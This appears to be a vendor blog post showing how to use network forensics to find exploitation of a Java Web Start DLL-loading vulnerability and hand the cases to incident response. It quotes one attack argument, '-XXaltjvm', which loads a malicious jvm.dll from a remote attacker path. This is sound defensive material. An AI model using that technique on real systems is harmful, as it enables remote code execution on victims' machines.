There’s an interesting new vulnerability being exploited in the wild. It’s based on a weakness in Java Web Start (discovered by Tavis Ormandy and Rubén Santamarta). This vulnerability, (detailed here and here) allows arbitrary dll loading via the webstart command line.

There’s been an out of cycle patch released to address this issue, but as we all know this doesn’t necessarily mean you’re safe. If hosts in your constituency have already been exposed to attacks using this vector or if they’re not patched yet, there could be a problem out there waiting for you. If you’re using network forensics in your environment, tracking this down and being proactive is pretty straightforward.

One of the more egregious ways to exploit this vulnerability is by using the unpublished command line extension ‘-XXaltjvm’ to allow loading an alternate JVM from an arbitrary (and remote!) UNC path. As Rubén Santamarta put it: “Game over. We can set -XXaltjvm=\\IP\evil , in this way javaw.exe will load our evil jvm.dll. Bye bye ASLR, DEP…”

Here’s an example of how to walk though some network forensics data to see if you’ve already had some of this activity on your network.

Using DeepSee, search your captured data for any artifacts containing the string ‘-XXaltjvm’.
Here’s a search of the last 24 Hours of network traffic:

There’s one host here that has served up several suspicious URLs matching our query. You could now take the IPs from the query result and hand them off to an incident response team. But to be absolutely sure your not sending them on a wild goose chase, lets dig a little deeper to verify there’s something worth investigating. Lets revise the search, find any binaries sent to the victim, check to see if they’re malicious and reconstruct an entire attack.

Here is the revised the search, focused solely on traffic sent between the suspect attack host and the victim:

Here we see that there is indeed an alternate jvm.dll being passed to the host, as well as another binary. This secondary binary is most likely shellcode being inserted via a dll injection.

Let’s download these from the results and submit them to Anubis. Then we’ll see if there’s any thing here we should be worried about.

$ ./submit_to_anubis.py –ssl artifact1.bin

$ ./submit_to_anubis.py –ssl artifact2.dll

Both of these look to be malicious. We’ll go ahead and identify everyone that has downloaded this malware and hand it off to our CSIRT team to resolve.

There, that was easy. Now we’ve identified everyone involved and saved the CSIRT a ton of time and effort trying to find it all by hand.